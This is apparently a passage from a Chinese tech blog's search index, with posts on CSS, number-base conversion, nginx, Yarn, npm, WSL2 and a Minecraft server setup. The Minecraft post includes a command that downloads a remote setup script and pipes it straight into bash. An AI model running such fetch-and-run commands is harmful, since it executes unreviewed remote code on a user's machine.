定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）","title":"Grid布局学习笔记"},{"content":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u0026gt; 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符 \u0026gt; 默认样式 \u0026gt; 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置\n检测是否有将系统的主题色设置为亮色或者暗色（安卓开启深色模式也有效，可以用于定义夜间模式等等）\n@media (prefers-color-scheme: dark){} // 暗色\n@media (prefers-color-scheme: light){} // 亮色\nonly元素选择\n.app:only-child // 选择唯一性子元素的.app类元素（必须是唯一性）\n.app:only-of-type // 选择指定类型（.app）的子元素（只要是父元素下有.app类就会选择）\nbefore和after插入（伪类）\n.app:before // 在app类的内容之前插入新的内容\n.app:after // 在app类的内容之后插入新的内容\nnth 元素选择（伪类）\n.app:nth-child(2) // 选择app类的父元素下的第2个子元素\n.app:nth-last-child(2) // 选择app类的父元素下的第2个子元素中的带有.app元素\n.app:nth-of-type(2) // 选择属性app类的父元素下的第2个子元素中的全部同类型的元素\n.app:nth-last-of-type(2) // 选择app类的父元素下倒数的第2个子元素中的带有.app元素\ncalc 计算属性\n动态计算长度\nwidth: calc(80% + 100px); // 宽度等于父元素的80%宽度加上100px\ncss单位：px（像素），em（相对于自身元素），rem（相对于根元素，html元素），vw（1vw等于视口宽度的1%，100vw就是视宽100%），vh（1vh等于视口高度的1%，100vh就是视高的100%）\n注意：vw，vh是相对于视口，包括滚动条，而100%不包括滚动条，因此100%和100vw（vh）有可能是不一致的\nIFC全称Inline Formatting Contexts，中文翻译为行内格式化上下文\n只要块级元素中仅包含内联级元素就会触发IFC机制，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;span\u0026gt; hallo \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; 特性：\n可以根据IFC容器的属性值，对子元素进行排列，例如text-align: center;\n子元素使用float浮动的优先排列\n上下外边距不生效，但是左右外边距生效，IFC机制就是只计算横向样式，不计算纵向样式\nIFC机制常用于文本行高不同，元素垂直显示的问题\n缓动动画公式：(目标值 - 现在的位置) / 10\ncss3原生变量\n声明变量\n#app{ --textmax: 10px; } textmax变量（属性）目前没有任何含义，因此，css变量也叫做css自定义属性，变量名大小写敏感\nvar()函数用于读取变量的值，例如：\n#app{ font-size: var(--textmax, 13px); } var()的第二个参数是表示变量的默认值，如果这个变量不存在，就使用这个默认值\n注意：和less那些css预处理器不同，css原生变量只能用于属性值，不能用于属性名\n如果变量值是字符串，可以进行拼接，而且变量带有单位，不可写为字符串\n如果变量值是数值，需要calc()函数才能进行拼接，例如：\n#app{ font-size: calc(var(--textmax, 13px) + 10px); } 作用域\ncss变量的优先级和css选择器的优先级是一样的， id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符\n粘性布局\nposition: sticky;\n该属性值还处在实验性期间，因此兼容性差的不堪入目\nposition: -webkit-sticky; position: sticky; top: 20px; 当元素距离视窗顶部的距离大于20px的时候，以relative定位显示，当小于20px的时候，以fixed定位\n触发生效要有top, right, bottom 或 left其中一个值\n注意：当left和right同时设置时，left的优先级高，当top和bottom同时设置，top的优先级高\n而且使用sticky的元素的父节点的overflow属性必须是visible，因为如果设置hidden，那么就无法滚动，就无法生效了，而设置其他relative|absolute|fixed会导致其相对于父元素，而不是相对于视窗定位了\n动画间隔时间公式，因为大多数显示器默认频率是60Hz，即1秒刷新60次，因此最小间隔为1/60*1000ms = 16.7ms\nBootstrap\n由twitter提供，支持Sass变量，v5版本移除JQuery依赖（所以使用v5版本不需要再导入jQuery了）\n使用简单，直接用类名覆盖样式，就可以使用现成由Bootstrap提供的样式\nBootstrap响应式布局用的@media（media query / 媒体查询）\n如果不喜欢部分Bootstrap的样式，也可以自定义（使用sass修改变量）\ncss Modules（class默认局部生效，解决css冲突）\nCSS Modules不是官方规范，也不是浏览器提供的特性，而是依赖于构建工具（例如webpack）\nclass类名是动态生成的，唯一的，并且准确地对应源码的类样式，样式复用通过composes关键字实现\n例如：\n.test{ color: #ccc; } .demo{ composes: test; box-sizing: border-box; } layout viewport，visual viewport，ideal viewport\nlayout viewport是网页布局的区域，因此layout viewport可能大于视窗区域，也可能小于，当缩放为100%时，layout viewport宽度等于视窗的宽度，一般来说不会发生改变，除非布局元素被清除了\nvisual viewport是视窗区域，这个区域随缩放改变\nideal viewport：每个设备的ideal viewport有可能不同，可以理解为设备区域，这个可以手动设置，例如：\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0\u0026quot;\u0026gt; device-width为视窗大小，也就是visual viewport\n上面例子在100%缩放中，ideal viewport的大小（不是指单位）等于设备物理大小\nideal viewport可以通过执行window.screen.width/window.screen.height获得\n在我这里宽度为1463px，那么表示无论设备的物理像素多大，在这里就是用1463px表示\n例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; body{ padding: 0; margin: 0; } #app{ width: 1463px; height: 10px; background-color: #000; } 可以发现app元素布满了视窗宽度，说明在该设备中css的1463px等于100%\ncss的1px不等于设备中的1px，css的1px和设备的尺寸相关，和视窗的缩放有关（实质上都和devicePixelRatio有关）\ndevicePixelRatio（比例） = device pixels（设备物理像素） / device-independent pixels（设备独立像素，例如css的像素）\ndevicePixelRatio比例可直接通过执行window.devicePixelRatio得到（在我这边为1.75，说明css的1px等于设备的1.75px）\nclamp()，限制一个值在最小值，最大值之间，有3个参数，最小值，首选值，最大值\nwidth: clamp(1rem,10px,5rem); 当首选值在最大和最小之间时，选择首选值\n当首选值比最大值大时，使用最大值\n当首选值比最小值小时，使用最小值\n","permalink":"https://chenjunlinabc.github.io/posts/44/","summary":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u0026gt; 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符 \u0026gt; 默认样式 \u0026gt; 继承样式\nletter-spacing 字间距\n该属性控制字符之间的距离，字符之间的字符间距，默认值为0\n该属性支持三种类型的数值\npx（像素）\nem（相对值，相对于原来设置的值，如果原来的值为16px，那么1em就是16px，可以理解为倍数）\nrem（和em类似，不过它相对的是html元素，而em是相对于它本身）\n例如：\nletter-spacing: 6px;\ncolumns\n用于指定列宽和列数\n例如：\ncolumns: 100px 3; // 指的是列宽为100px，列数为3\ncolumn-gap\n用于列与列之间的间隔\ncolumn-gap: 30px;\ncolumn-rule\n用于指定列之间的宽度和样式，以及颜色（列的边线）\ncolumn-rule: 6px dashed #ccc;\n可拆分为\ncolumn-rule-width和column-rule-style和column-rule-color\ncolumn-span\n指定元素应横跨多少列\ncolumn-span: 3;\nall为横跨所有列\nmedia 媒体查询\n媒体查询常用于响应式布局，为不同屏幕设置不同的样式\n@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置","title":"css的一些知识扩展"},{"content":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\u0026quot;除2取余，逆序排列\u0026quot;法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列\n","permalink":"https://chenjunlinabc.github.io/posts/43/","summary":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\u0026quot;除2取余，逆序排列\u0026quot;法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列","title":"一些常用的进制转换方法"},{"content":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了\n","permalink":"https://chenjunlinabc.github.io/posts/39/","summary":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了","title":"记录一次MIME类型错误"},{"content":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn \u0026ndash;version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 \u0026ndash;dev\n生产环境 yarn add 包名 \u0026ndash;peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade \u0026ndash;latest 包名\n删除包\nyarn remove 包名\n支持一次性删除多个包\n管理依赖缓存\n缓存目录 yarn cache dir\n已缓存的依赖信息 yran cache list\n强制清除本地缓存的依赖 yarn cache clean\n管理依赖配置信息\n输出yarn和npm路径信息 yarn config list\n切换镜像源 yarn config set registry https://registry.npm.taobao.org -g\n查看某个依赖的具体信息 yarn info vue\n搜索项目的某个依赖信息\nyarn why 包名\nyarn run 自定义命令\n自定义命令在package.json中定义\n因为其会生成一个yarn.lock文件，只要保存这个文件，可以在其根目录下执行yarn就会直接下载yarn.lock文件所记录的包\n更新yarn本体\n最新的发布版本 yarn set version latest\n从master分支获取 yarn set version from sources\n从其他分支获取 yarn set version from sources \u0026ndash;branch 1211\n发布包\n先去注册npm账号，https://www.npmjs.com/signup\n第一次发布需要npm adduser一下，需要提供用户名，密码，邮箱，要求源必须是npm官方源\n然后yarn poblish\n启动项目，在项目根目录下执行（反正执行速度比npm快）\nyarn run dev\nyarn.lock和package-lock.json互相转换\n安装synp\nnpm install -g synp yarn.lock转换为package-lock.json\nsynp --source-file yarn.lock package-lock.json转换为yarn.lock\nsynp --source-file package-lock.json ","permalink":"https://chenjunlinabc.github.io/posts/38/","summary":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn \u0026ndash;version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 \u0026ndash;dev\n生产环境 yarn add 包名 \u0026ndash;peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade \u0026ndash;latest 包名","title":"Yarn包管理工具的简单使用"},{"content":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe \u0026ndash;install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl \u0026ndash;set-default-version 2\nLinux子系统切换为wsl\nwsl \u0026ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes\u0026hellip;\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl \u0026ndash;install\n查看可用的Linux发行版\nwsl \u0026ndash;list \u0026ndash;online\n或者\nwsl -l -o\n安装指定发行版\nwsl \u0026ndash;install -d Ubuntu\n查看本地安装发行版的版本以及状态（Running为正在运行中，为停止运行中）\nwsl -l -v\n停止运行（启动也很简单，重新执行Ubuntu2004，进入系统，就会启动）\nwsl \u0026ndash;shutdown\n修改默认版本\nwsl -s Ubuntu-20.04\n卸载本地安装的发行版（全部数据都将清除）\nwsl \u0026ndash;unregister Ubuntu\n更新wsl内核\nwsl \u0026ndash;update\n回滚到wsl内核上一个版本\nwsl \u0026ndash;update rollback\nwsl发行版会将windows认为是挂载，mnt目录就是windows的目录\n导出本地发行版\nwsl \u0026ndash;export Ubuntu-20.04 d:\\ubuntu20.04.tar\n导入（在文件夹中看到vhdx文件，表示导入成功，导入的时候请确保本地没有同名的发行版，如果有需要卸载后导入）\nwsl \u0026ndash;import Ubuntu-20.04 d:\\wsl\\ubuntu d:\\ubuntu20.04.tar\n修改默认登陆用户\nubuntu2004 config \u0026ndash;default-user root\n","permalink":"https://chenjunlinabc.github.io/posts/35/","summary":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe \u0026ndash;install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl \u0026ndash;set-default-version 2\nLinux子系统切换为wsl\nwsl \u0026ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes\u0026hellip;\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl \u0026ndash;install\n查看可用的Linux发行版\nwsl \u0026ndash;list \u0026ndash;online\n或者","title":"wsl2-windows子系统简单配置"},{"content":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate \u0026ldquo;crt证书的绝对路径\u0026rdquo;; ssl_certificate_key\u0026quot;key证书的绝对路径\u0026quot;;\n如果想访问网站就301重定向到https，那么添加这几行\nserver{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：\ngzip on // gzip开启，关闭是off\ngzip_buffers 16 8k // 设置处理请求压缩的缓冲区数量和大小，一般不会设置，默认\ngzip_comp_level 1 // 设置压缩比，数值1至9，压缩文件越小越吃CPU，最性价比的是1\ngzip_min_length 10 // 当文件超过这个值才启用压缩，单位k，值为0时表示全站压缩\ngzip_http_version 1.1 // 这个1.1是指http版本，只有http/1.1以上才启用gzip，例如http/1.0就不启用\ngzip_types text/html // 指定要压缩的MIME类型，请求不在这个指定内范围的文件不进行压缩\n","permalink":"https://chenjunlinabc.github.io/posts/34/","summary":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate \u0026ldquo;crt证书的绝对路径\u0026rdquo;; ssl_certificate_key\u0026quot;key证书的绝对路径\u0026quot;;\n如果想访问网站就301重定向到https，那么添加这几行\nserver{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：\ngzip on // gzip开启，关闭是off","title":"Nginx服务器的一些简单配置"},{"content":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash\n","permalink":"https://chenjunlinabc.github.io/posts/33/","summary":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash","title":"Linux环境下简单搭建Minecraft服务器（java版）"},{"content":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install \u0026ndash;dependencies 只安装package.json里的dependencies的文件 npm install \u0026ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update\n该升级插件和npm自带的差别在于npm自带的只能通过package.json文件中所标注的版本号更新，要手动更改，而该升级插件会自动更新package.json文件中所标注的版本号\n安装淘宝 NPM 镜像 npm install -g cnpm \u0026ndash;registry=https://registry.npm.taobao.org\n全局设置淘宝 NPM 镜像 npm config set registry https://registry.npm.taobao.org -g\n使用方法 cnpm install 包名\npackage.json文件是用来定义包的属性 name 是包名 version 是包的版本号 description 是包的描述 homepage 是包的官网的url author 是包的作者名称 contributors 是包的其他贡献者名称 dependencies 是依赖包的列表，有依赖的名称和依赖的版本号，npm会自动将依赖安装到node_module目录下 repository 包代码存放的地方的类型，git或者svn main 指定了程序的主入口文件 keywords 关键字\n启动项目\nnpm run dev\nnpm run serve\n用npm安装的包都在package.json中声明了，在另一个环境下，直接npm install，就可以一键安装该项目的全部包，不用一个个安装了\nnpm install执行流程，找到npmrc文件，得到包从哪里下，下到哪里的数据，然后再判断是否存在package-lock.json文件，存在则和package.json判断版本声明是否一致（从缓存，网络资源加载依赖），一致则按照package-lock.json处理，不一致则按照package.json处理，并且更新package-lock.json\n如果没有package-lock.json文件则检查是否存在缓存，如果有缓存则解压到node_modules中，并且生成package-lock.json文件，如果没有缓存则从npm远程仓库获取包，检查包的完整性，然后添加到缓存，构建依赖树，并且解压到node_modules中，然后再生成package-lock.json文件\nnpmrc文件优先级：项目的npmrc文件\u0026gt;用户npmrc文件\u0026gt;全局npmrc文件\u0026gt;npm内置的npmrc文件\nnpm安装会先根据npmrc文件选择npm远程仓库\n项目npmrc文件在当前项目的目录\n用户npmrc文件可通过执行npm config get userconfig查看目录\n全局npmrc文件（公共npmrc）可通过npm config get prefix查看目录\n例如在项目根目录下创建.npmrc文件，并且设置registry=https://registry.npm.taobao.org\nnpmrc文件的配置是通过键值对的形式的，registry为key，https://registry.npm.taobao.org为value\n设置用户npmrc文件\n可以直接修改用户npmrc文件或者执行npm config set registry https://registry.npm.taobao.org\n设置全局npmrc文件\n可以直接修改全局npmrc文件或者执行config set registry https://registry.npm.taobao.org -g\n快速修改用户npmrc文件，npm config edit\n快速修改全局npmrc文件，npm config edit -g\n删除registry（npmrc的其他配置也可以修改，npm config delete key）\nnpm config delete registry\n查看npmrc详细配置\nnpm config list [-l]\n查看npmrc具体参数配置（npmrc的其他配置也可以查看，npm get registry key）\nnpm get registry registry\n查看全局环境包目录，npm root -g\nnpm优先安装依赖到当前项目目录的node_modules目录中，也就是说同一依赖可能在计算机上多次安装，当然也可以使用参数-g全局安装\nnpm缓存\n查看npm缓存目录，npm config get 